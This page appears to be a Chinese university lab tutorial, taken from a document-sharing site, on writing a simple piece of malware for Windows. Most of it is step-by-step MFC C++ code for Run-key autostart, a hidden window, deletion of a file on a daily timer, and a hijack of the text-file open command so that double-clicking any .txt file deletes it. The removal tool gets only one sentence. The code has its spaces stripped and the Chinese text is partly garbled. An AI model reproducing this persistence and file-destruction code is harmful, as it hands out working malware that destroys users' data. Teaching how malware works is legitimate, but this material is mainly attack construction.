版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)
文檔簡介
第三篇網(wǎng)絡(luò)安全理論與技術(shù)實驗篇第十章網(wǎng)絡(luò)安全編程實驗10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程110.3惡意代碼及防護編程實驗實驗?zāi)康模?/p>
惡意代碼是網(wǎng)絡(luò)安全威脅的重要組成部分,其由于編寫語言,實現(xiàn)機制等等的多樣性和復(fù)雜性,以及強大的破壞性和隱蔽性,將對網(wǎng)絡(luò)安全構(gòu)成重要的長期的威脅。本實驗通過設(shè)計實現(xiàn)一款簡單的惡意代碼程序,深刻理解惡意代碼編寫的原理,設(shè)計思路;同時設(shè)計查殺程序進而理解殺毒軟件的工作機理。網(wǎng)絡(luò)空間安全技術(shù)實踐教程210.3
惡意代碼及防護編程實驗實驗內(nèi)容:
惡意代碼設(shè)計與實現(xiàn)涉及了文件系統(tǒng)編程、網(wǎng)絡(luò)通信編程、注冊表編程、定時編程、多線程編程、駐留程序編程,本實驗要求編寫一個利用各項編程技術(shù)實現(xiàn)簡單的獨立惡意代碼程序,并且根據(jù)破壞特征設(shè)計查殺程序。網(wǎng)絡(luò)空間安全技術(shù)實踐教程310.3惡意代碼及防護編程實驗實驗內(nèi)容:
本實驗中惡意代碼程序主要實現(xiàn):
(1)自啟動功能;
(2)自動駐留功能;
(3)實現(xiàn)每天固定一個時間,自動刪除D:\file4.txt文件;
(4)當(dāng)用戶雙擊一個文本文件時,自動刪除該文件;
(5)其他自己設(shè)計的惡意破壞功能或遠程控制功能。網(wǎng)絡(luò)空間安全技術(shù)實踐教程410.3
惡意代碼及防護編程實驗實驗要點說明:(實驗難點說明)編寫簡單惡意代碼程序?qū)崿F(xiàn)查殺程序網(wǎng)絡(luò)空間安全技術(shù)實踐教程510.3
惡意代碼及防護編程實驗實驗準(zhǔn)備:(實驗環(huán)境,實驗先有知識技術(shù)說明)操作系統(tǒng)windowsXP及以上VS2010以上開發(fā)環(huán)境網(wǎng)絡(luò)空間安全技術(shù)實踐教程6實驗步驟:1)惡意代碼程序編寫(1)新建工程打開一個VS2010,建立一個新的MFC工程。需要注意的有兩點:首先,在應(yīng)用類型界面需要選擇基于對話框的應(yīng)用,如圖10-3-1所示;其次,在高級選項界面要勾選“WindowsSocket”,如圖10-3-2所示,這樣在之后的Socket編程工作中,用到相關(guān)頭文件以及鏈接庫等開發(fā)環(huán)境時就不再需要手工添加了。建立成功后,進入ClassView,如圖10-3-3所示,可在主界面中根據(jù)功能設(shè)計好主對話框,如圖10-3-4所示。需要說明的是,該程序運行后,用戶就會看到界面顯示的主對話框,如果關(guān)閉該對話框,程序運行進程就終止了。10.3
惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程7實驗步驟:1)惡意代碼程序編寫(2)自啟動功能自啟動功能是通過注冊表編程來實現(xiàn),注冊表在計算機中由鍵名和鍵值組成,注冊表中存儲了Windows操作系統(tǒng)的設(shè)置。注冊表的根鍵共有6個,其中HKEY_CURRENT_USER管理系統(tǒng)當(dāng)前的用戶信息,自啟動項就屬于該根鍵。本實驗中要在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run處(如圖10-3-5所示)添加新鍵值,鍵名為惡意代碼程序名,鍵值為惡意代碼程序的路徑。添加成功后,只要操作系統(tǒng)啟動,該指定程序?qū)⒆詣訂印?0.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程8實驗步驟:1)惡意代碼程序編寫(2)自啟動功能為了實現(xiàn)該功能,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進入相應(yīng)編輯頁,找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:
HKEYhKey1;
DWORDdwDisposition;
LONGlRetCode; LPCTSTRaddr="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; LPCTSTRname="MCgame";//惡意代碼程序名 LPCTSTRvalue="\"D:\\CChenSiMC.exe\"\\noshow";//惡意代碼程序路徑10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程9實驗步驟:1)惡意代碼程序編寫(2)自啟動功能
//創(chuàng)建 lRetCode=RegCreateKeyEx(HKEY_CURRENT_USER,addr,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey1,&dwDisposition); if(lRetCode!=ERROR_SUCCESS)
{//如果創(chuàng)建失敗則退出
return0;
}
//設(shè)置鍵值 lRetCode=RegSetValueEx(hKey1,name,0,REG_SZ,(byte*)value,100); if(lRetCode!=ERROR_SUCCESS)
{//如果設(shè)置失敗則退出
return0;
}10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程10實驗步驟:1)惡意代碼程序編寫(3)自動駐留功能駐留又稱為進程隱藏,最簡單的辦法就是將窗口的顯示模式改為隱藏顯示,這樣就達到駐留的效果。然而,在MFC中駐留并沒有這么簡單,而是分為兩個步驟進行。首先,在MFC的主界面屬性中將Visible的值由“True”改為“False”,如圖10-3-6所示。10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程11實驗步驟:1)惡意代碼程序編寫(3)自動駐留功能其次,要在窗口第一次自繪時隱藏窗口,可以收到比較好的效果。當(dāng)對話框顯示時,將要響應(yīng)消息WM_PAINT繪制客戶區(qū),響應(yīng)消息WM_NCPAINT繪制窗口邊框。由于窗口是先畫窗口邊框,所以僅需處理WM_NCPAINT即可。在處理時,在ClassView中右鍵單擊CCChenSiMCDlg,調(diào)出菜單點擊ClassWizard...,進入向?qū)Ш笳业組essages添加OnNcPaint()函數(shù),如圖10-3-7所示。10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程12實驗步驟:1)惡意代碼程序編寫(3)自動駐留功能雙擊ClassView界面中的OnNcPaint()進入代碼編輯頁面,找到“//TODO:Addyourmessagehandlercodehere”后添加如下代碼:voidCCChenSiMCDlg::OnNcPaint(){ //隱藏程序界面 //TODO:Addyourmessagehandlercodehere staticinti=2; if(i>0) { i--; ShowWindow(SW_HIDE); } else CDialog::OnNcPaint();}10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程13實驗步驟:1)惡意代碼程序編寫(3)自動駐留功能程序中靜態(tài)變量的值定義為2,這是因為只要窗口隱藏第一次,所以定義這個變量可以判斷是否是首次顯示窗口。當(dāng)程序開始運行時,系統(tǒng)發(fā)送WM_NCPAINT消息,此時程序的窗口邊框應(yīng)該被顯示,但是實際上是將窗口隱藏,ShowWindow(SW_HIDE)將把窗口的WS_VISIBLE屬性去掉,繼續(xù)執(zhí)行。之后程序會檢查WS_VISIBLE屬性,如果沒有則顯示窗口,這個過程中又發(fā)送了一個WM_NCPAINT消息,所以我們要處理兩次WM_NCPAINT消息。10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程14實驗步驟:1)惡意代碼程序編寫(4)定時自動刪除文件定時自動刪除文件需要設(shè)置一個定時器,在MFC中定時器的使用同樣分為兩步。首先,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進入相應(yīng)編輯頁,找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:SetTimer(1,1000,NULL);//定時器此程序用來開啟定時器,并且每1秒調(diào)用一次處理函數(shù)。在MFC中,處理函數(shù)需要手動添加,在ClassView中右鍵單擊CCChenSiMCDlg,調(diào)出菜單點擊ClassWizard...,進入向?qū)Ш笳业組essages添加OnTimer(UINT_PTRnIDEvent)函數(shù),如圖10-3-8所示。10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程15實驗步驟:1)惡意代碼程序編寫(4)定時自動刪除文件雙擊ClassView界面中的OnTimer(UINT_PTRnIDEvent)進入代碼編輯頁面,找到“//TODO:Addyourmessagehandlercodehereand/orcalldefault”后添加如下代碼:voidCCChenSiMCDlg::OnTimer(UINT_PTRnIDEvent){ //TODO:Addyourmessagehandlercodehereand/orcalldefault SYSTEMTIMEsysTime;
GetLocalTime(&sysTime);//獲取本地時間 if(sysTime.wHour==12&&sysTime.wMinute==39&&sysTime.wSecond==00) remove("D:\\file4.txt");//在每天的12:39:00刪除文件 CDialogEx::OnTimer(nIDEvent);}10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程16實驗步驟:1)惡意代碼程序編寫(5)雙擊刪除文本文件功能雙擊刪除文本文件功能需要獲取雙擊文本文件的路徑,然后對其進行刪除,除此之外,為了保證雙擊文本文件時惡意程序自動運行,還需要對文本文件的注冊表進行修改。首先,要將打開文本文件的動作與惡意程序關(guān)聯(lián)起來,相關(guān)注冊表的根鍵為HKEY_CLASS_ROOT,該根鍵管理文件系統(tǒng),根據(jù)在Windows中安裝的應(yīng)用程序的擴展名,指明其文件類型的名稱,以及相應(yīng)打開該文件所要調(diào)用的程序等信息。該功能也是通過注冊表編程實現(xiàn),所修改的鍵值位于HKEY_CLASS_ROOT\txtfile\shell\open\command處,如圖10-3-9所示,要將該鍵值修改為惡意程序本身路徑。10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程17實驗步驟:1)惡意代碼程序編寫(5)雙擊刪除文本文件功能為了實現(xiàn)該功能,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進入相應(yīng)編輯頁,找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:
addr="txtfile\\shell\\open\\command"; name=""; value="D:\\Documents\\VisualStudio2010\\Projects\\Experiment5\\CChenSiMC\\Debug\\CChenSiMC.exe%1";
//創(chuàng)建 lRetCode=RegCreateKeyEx(HKEY_CLASSES_ROOT,addr,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey1,&dwDisposition); if(lRetCode!=ERROR_SUCCESS)
{//如果創(chuàng)建失敗則退出
return0;
}10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程18實驗步驟:1)惡意代碼程序編寫(5)雙擊刪除文本文件功能
//設(shè)置鍵值 lRetCode=RegSetValueEx(hKey1,name,0,REG_SZ,(byte*)value,100); if(lRetCode!=ERROR_SUCCESS)
{//如果設(shè)置失敗則退出
return0;
}上述程序運行后可以在雙擊文本文件時不用記事本打開,而是自動運行惡意程序,需要注意的是,當(dāng)用戶多次執(zhí)行打開文本文件的操作時,就會在任務(wù)管理器中加載許多相同的進程,解決方法是先判斷是否存在該進程,如果存在就不加載,具體程序不詳細(xì)給出。10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程19實驗步驟:1)惡意代碼程序編寫(5)雙擊刪除文本文件功能為了刪除雙擊的文本文件,還需要獲得文本文件的路徑。為了實現(xiàn)該功能,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進入相應(yīng)編輯頁,找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:
CStringp_CmdLine; CStringdel="\"D:\\Documents\\VisualStudio2010\\Projects\\Experiment5\\CChenSiMC\\Debug\\CChenSiMC.exe\""; GetCommandLine(); p_CmdLine=GetCommandLine();//獲取文本文件的路徑 p_CmdLine.Replace(del,""); if(p_CmdLine!="") remove(p_CmdLine);//刪除雙擊的文本文件10.3惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程20實驗步驟:1)惡意代碼程序編寫(6)編譯惡意代碼程序編寫完成后,需要對代碼進行編譯,可以通過菜單或者工具欄按鈕完成操作。如果使用菜單,可以選擇Build-BuildCChenSiMC或者Build-BuildSolution,如圖10-3-10所示。如果使用工具欄,可以選擇如圖10-3-11所示的按鈕。10.3
惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程21實驗步驟:1)惡意代碼程序編寫(6)編譯惡意代碼程序如果編譯完全成功,確保無語法錯誤時,會在Output中顯示“Build:1succeed,0failed...”,如圖10-3-12所示;如果編譯存在錯誤,會顯示在ErrorList中,如圖10-3-13所示,編譯器提示,在CChenSiMC文件的第142行,發(fā)生了C2065錯誤,變量_CmdLine從沒有被聲明就使用了。經(jīng)查證,是因為把p_CmdLine錯寫為_CmdLine,改正后即可編譯成功。10.3
惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程22實驗步驟:2)運行惡意程序
編譯成功后,可以通過菜單或者工具欄按鈕來運行完成的程序。在編譯成功的前提下,如果使用菜單,其中一種方法是選擇Debug-StartDebugging,如圖10-3-14所示;如果使用工具欄,可以選擇如圖10-3-15所示的按鈕。正常運行時,由于本實驗中程序被駐留,所以并不會顯示出主界面的窗口。運行后可以依次驗證功能,每天可以在固定時間刪除一個指定文本文件,以及雙擊文本文件時不會打開記事本,而是刪除文本文件。10.3
惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程23實驗步驟:3)設(shè)計惡意程序查殺程序
根據(jù)上述惡意代碼編寫機制,設(shè)計實現(xiàn)該惡意代碼的查殺程序。惡意代碼查殺程序主要完成恢復(fù)注冊表項,結(jié)束運行的惡意程序2項功能,限于篇幅,此處不再詳述。10.3
惡意代碼及防護編程實驗網(wǎng)絡(luò)空間安全技術(shù)實踐教程2410.3
惡意代碼及防護編程實驗實驗結(jié)果要求
(1)建立的工程名應(yīng)該是含有個人信息,如可加入姓名全拼構(gòu)成唯一的工程名字:CChenSiMC和CChenSiKiller。(2)在完全掌握各項惡意代碼編程技術(shù)的基礎(chǔ)上,根據(jù)實驗內(nèi)容要求,綜合利用各功能設(shè)計實現(xiàn)自己的惡意代碼。(3)設(shè)計實現(xiàn)相應(yīng)的查殺程序,需要有友好的人機交互界面。網(wǎng)絡(luò)空間安全技術(shù)實踐教程2510.3
惡意代碼及防護編程實驗實驗報告要求
實驗報告要求有封面,實驗?zāi)康?,實驗環(huán)境,實驗結(jié)果與分析,其中結(jié)果與分析主要描述編程步驟,關(guān)鍵功能及代碼,編程過程中遇到的問題和經(jīng)驗等。網(wǎng)絡(luò)空間安全技術(shù)實踐教程2610.3
惡意代碼及防護編程實驗實驗擴展要求
(1)由于本程序特性,
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 海洋物語課程設(shè)計
- 高考題型預(yù)測2字形詳解精練
- 技術(shù)方案模板集合10篇
- 拜師發(fā)言稿范文
- 惹老婆生氣寫保證書(8篇)
- 建筑工程開工典禮施工單位發(fā)言稿范文(13篇)
- 2024年標(biāo)準(zhǔn)化集體水域承包權(quán)轉(zhuǎn)讓合同范本版B版
- 桌游早教課程設(shè)計
- 2024年影視作品美術(shù)元素應(yīng)用與聘用合同3篇
- 2025年山東淄博“名校人才特招行動”事業(yè)單位招聘989人歷年管理單位筆試遴選500模擬題附帶答案詳解
- 派出所治安業(yè)務(wù)培訓(xùn)
- 創(chuàng)新創(chuàng)業(yè)與鄉(xiāng)村振興的協(xié)同發(fā)展策略與實踐
- 湖北省武漢市洪山區(qū)2022-2023學(xué)年五年級上學(xué)期期末考試科學(xué)試題
- 以學(xué)增智-提升推進高質(zhì)量發(fā)展的本領(lǐng)研討發(fā)言稿
- 幼兒園人事工作總結(jié)
- 可修改版五年級數(shù)學(xué)期中考試答題卡模板
- 精裝修工程工作界面劃分
- 山東省青島市市北區(qū)2023-2024學(xué)年九年級上學(xué)期11月期中數(shù)學(xué)試題
- 【語文】上海市三年級上冊期末復(fù)習(xí)試題(含答案)
- 遙感技術(shù)基礎(chǔ)第二版課后答案
- 項目式高中化學(xué)教學(xué)《保護珊瑚礁的措施-沉淀溶解平衡》
評論
0/150
提交評論